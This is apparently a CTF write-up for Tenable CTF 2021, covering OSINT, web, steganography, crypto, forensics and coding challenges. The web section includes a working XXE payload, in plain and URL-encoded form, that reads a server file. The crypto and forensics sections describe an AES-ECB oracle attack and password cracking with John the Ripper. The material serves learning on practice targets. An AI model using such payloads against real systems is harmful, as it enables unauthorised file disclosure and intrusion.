TenableCTF 2021
I participate in this CTF for team ISwearIGoogledIt and got some challenges!
Challenge index:
OSINT
Web
Misc
Stego
Crypto
Forensic
Code
OSINT
We re watching you
75
NOTE: Our chat bot will not help you with this challenge. Please do not use it for this ctf!
The challenge shows a Peekaboo gif with a KPop artist. RazviOverflow went over that track and found nothing. Tenable discovered a vulnerability and they called it Peekaboo, that could be a great place to work on.
We can visited their blog post:
https://www.tenable.com/blog/peekaboo
And look over different related pages until the flag showed up on one of them:
https://www.tenable.com/security/research/tra-2018-25
Web
Send A Letter
50
There is a web app at http://challenges.ctfd.io:30471/. Find the vulnerability, exploit it, and recover the flag.
We can see an strange encoding on the XML. Googling for it I found XXE vulnerability on OWASP.
We can use one of the templated to speed up the attack.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt" >]>
<letter><name>&xxe;</name></letter>
We can use URL Encoder and Burp to repeat the attack:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%3F%3E%0A%3C%21DOCTYPE%20foo%20%5B%0A%20%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%0A%20%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%20%22file%3A%2F%2F%2Ftmp%2Fmessages_outbound.txt%22%20%3E%5D%3E%0A%3Cletter%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fletter%3E
flag{xxe_aww_yeah}
Follow The Rabbit Hole
100
Follow the rabbit hole and get the flag.
http://167.71.246.232/
We get into a website with the following URL and this content:
http://167.71.246.232:8080/rabbit_hole.php?page=cE4g5bWZtYCuovEgYSO1
[513, '71'] 4O48APmBiNJhZBfTWMzD
http://167.71.246.232:8080/rabbit_hole.php?page=4O48APmBiNJhZBfTWMzD
[803, 'A5'] dUfob5k9t2vH1dVEU9bU
http://167.71.246.232:8080/rabbit_hole.php?page=dUfob5k9t2vH1dVEU9bU
[371, '08'] EiFCRRS86AT19seqH1ls
...
We have like a flow of URLs and and array with an int and a string. Let’s make an script to retrieve all the URLs and also the content of the HTML. After messing around with the messages I though that the first array could be a key:value pair:
To follow the current approach I set the key as the order in a string and merge the values in order with the following code:
It seems like hex, so quick check on CyberChef build up an image with the flag:
flag{automation_is_handy}
Misc
Broken QR
100
Can you scan this QR code for me?
We got a broken QR, a quick Paint and some redundancy on the QR code maybe will do the job.
flag{d4mn_it_w0nt_sc4n}
Find the encoding
50
DeZmqMUkDJceycJHJPzZet
With the magic function on CyberChef, we can see the base58 as recommended encoding.
flag{not_base64}
Forwards from Grandma
100
My grandma sent me this email, but it looks like there’s a hidden message in it. Can you help me figure it out?
We have an email with the following subject, which is suspicious:
FWD: FWD: RE: FWD: FWD: RE: FWD: FWD: FWD: RE: RE: RE: FWD: { FWD: FWD: FWD: FWD: RE: RE: FWD: RE: RE: RE: FWD: FWD: FWD: FWD: FWD: FWD: FWD: FWD: FWD: FWD: RE: RE: FWD: RE: FWD: RE: RE: RE: RE: FWD: RE: FWD: FWD: } THIS IS HILARIOUS AND SO TRUE
Let's sustitute the FWD and RE for dot and dash respectively:
FWD: .
RE: -
..-. .-.. .- --. {.. ..--.- -- .. ... ... ..--.- .- --- .-.. }
Decode morse code:
flag{I_MISS_AOL}
Stego
Numerological
100
While working on his latest historical fact book, Don Beige came across a weird group of monks whose only communication with one another was to message the same picture back and forth.
Don thinks there must be something more going on and grabbed a sample.
Can you help him solve this case?
We got an image:
By using binwalk we retrieve another image:
binwalk -M --dd=.* shield.png
Seems like Cisternian numbers. Let’s use dcode to retrieve the numbers. Remember that to introduce the input on dcode website, we have to start from the bottom left corner to bottom right, then top left and finally top right.
3637 3639 3734 3265 3639 3666 3266 3461 3734 3461 3631 3538
363736393734326536393666326634613734346136313538
Decode Hex > Decode Hex > git.io/JtJaX
On that git post we can find the flag:
flag{th0s3_m0nk5_w3r3_cl3v3r}
Secret Images
The challenge provide us two images:
We can see differences on both images. I created a python script to change to black pixels that are within a range of difference.
We can barely see the flag. Watch out, you might get blind looking for the flag.
flag{otp_reuse_fail}
Weird Transmission
175
There seems to be this weird extraterrestrial communication broadcast in our discord. Can you help us decode it?
Seems like SSTV signal. Redirect the output from the audio into a virtual sound card and use RX SSTV program to decode it. It seems like it’s cut out and I found no way to get the original resolution. With Scotie 1 that’s all I could get and filling with the flag prefix will do the job:
flag{Noah_th3_s4vi0ur}
A3S Turtles
250
Turtles all the way down.
We got a zip with password, let’s use JohnTheRipper to retrieve the password:
kali@kali:/opt/john/john/run$ ./zip2john ~/Desktop/CTFs/Tenable/Stego/Turtle/turtles128.zip > ~/Desktop/CTFs/Tenable/Stego/Turtle/zip.hashes
ver 2.0 turtles128.zip/turtles127.zip PKZIP Encr: cmplen=19073, decmplen=19051, crc=CBB89A0B type=8
kali@kali:/opt/john/john/run$ ./john ~/Desktop/CTFs/Tenable/Stego/Turtle/zip.hashes
Proceeding with incremental:ASCII
0 (turtles128.zip/turtles127.zip)
First password is 0, then a new zipfile showed up:
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with incremental:ASCII
0 (turtles127.zip/turtles126.zip)
Then other zip, now with password 1:
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
1 (turtles126.zip/turtles125.zip)
Maybe a binary sequence??
I have developed the following bash script to get all the zips out and retireve the inner file and the sequence suposing that there would be 127 zips:
The binary output of all the passwords were:
00111101110010010000011011110110100100101000111011101000100000101100110010110001101110001011110111010001010010101010001001001100
Also at the end of the zips we found a key.png file with the following text:
ed570e22d458e25734fc08d849961da9
Seems like it has no flag at all, no hexdump or base64 from it. I’m stucked at the moment.
Going back to the challenge and the information I had the following clues: First, the title is a3s, which can be AES cipher (?). Second, the name of th file within the zips: key.png that provides a 32 bytes key. I digged until I found a way to operate the algorithm and extract the flag:
From the 128 bits message I obtained 32 bytes, converting the binary into hexadecimal:
3dc906f6928ee882ccb1b8bdd14aa24c
Now we don’t have any clue about an Initialization Vector (IV) needed on some of the AES operation modes, so we can think about Electronic CodeBook (ECB) which doesn’t need IV. And looks like we got the flag:
flag{steg0_a3s}
Crypto
Easy Peasy
50
Find the flag here:
NzMgNzkgNmUgNzQgN2IgNzAgNjIgNjEgNzQgNjUgNmUgNjcgNjYgNWYgNmMgNjIgNjggNWYgNzQgNjIgNjcgNWYgN2EgNzIgN2Q=
- First base64:
73 79 6e 74 7b 70 62 61 74 65 6e 67 66 5f 6c 62 68 5f 74 62 67 5f 7a 72 7d
- Convert into ASCII:
synt{pbatengf_lbh_tbg_zr}
- ROT13:
flag{congrats_you_got_me}
Netrunner Encryption
200
Take a look at the new encryption tool out that netrunner gonk friends are using:
http://167.71.246.232:8080/crypto.php
We can find the server encription method. We can see that the server uses AES with ECB mode, which we know it to be vulnerable due to the no usage of IV and there is no randomness derivation over each block encripted. We can see that the server retrieves our input, appends the flag and then it pads until the end of the block:
|userinpuuuutttfl| |ag{this_is_a_fla| |g}paddingpadding|
I could implement the PHP AES algorithm to guess the flag, but I went against the server. I have implemented the following python algorithm to go over every character and guess it using the characters that could be on the flag. A great explanation can be found on Zach Grace post.
flag{b4d_bl0cks_for_g0nks}
Forensic
H4ck3R_m4n exp0sed! 2
25
I got this packet capture with some of the notorious h4ckerm4n’s secret information.
The flag for this challenge should make my boss angry.
A pcapng file is provided. First impressions showed an FTP file transmission. To retrieve the supersecure.7z file, go to any of the packets in the stream, right click Follow > Follow TCP Stream:
We can see the data in ASCII of the 7z file:
Now, to save it, select the raw at the menu and save it with whatever name:
The 7z file has a password. looking back into the FTP session, we can see at the beginning that the attacker used hunter2 as password, but didn’t work as password for the 7z:
Let’s crack it with JohnTheRipper: Since 7z2john is written on perl on the official repo, I had to install it:
sudo apt install libcompress-raw-lzma-perl -y
I was too greedy on the cracking stage. While crcking I inspected the pcapng file and found the password ^^’
Within there are 2 files, one of them is a PNG, showing the flag:
flag{pickl3_NIIICK}
H4ck3R_m4n exp0sed! 3
50
I got this packet capture with some of the notorious h4ckerm4n’s secret information.
The flag for this challenge should give you unrealistic expectations.
On the previous 7z file, there were 2 files, one of them a PNG and the other a plain text document. The content seens to be hexadecimal:
6a 7a 34 73 7a 51 71 34 53 73 76 75 68 42 41 67 43 6c 75 57 76 48 62 34 71 66 49 49 64 56 34 4d 72 38 38 48 62 51 66 43 76 47 2f 49 38 48 76 54 32 58 73 65 42 42 4c 38 49 6e 79 4e 4c 38 62 44 ...
We end up with a base64 string:
/9j/4AAQSkZJRgABAQAASABIAAD/4QBYRXhpZgAATU...
Then, a familiar file header showed up:
ÿØÿà
Seems like a JPEG:
flag{20_minute_adventure}
Code
Short and sweet
Below is some code that reads integers from stdin and pases a list of them to a function named “AreNumbersEven”. Implement the “AreNumbersEven” function. This function takes a list of integers and returns a boolean list: True if number was even, and False if odd. If implemented right, the attached code will print the answer returned from your function. stdin example: 66 0 -47 stdout example: [True, True, False]
Find largest triangle
Parsey Mcparser
Thanks for reading!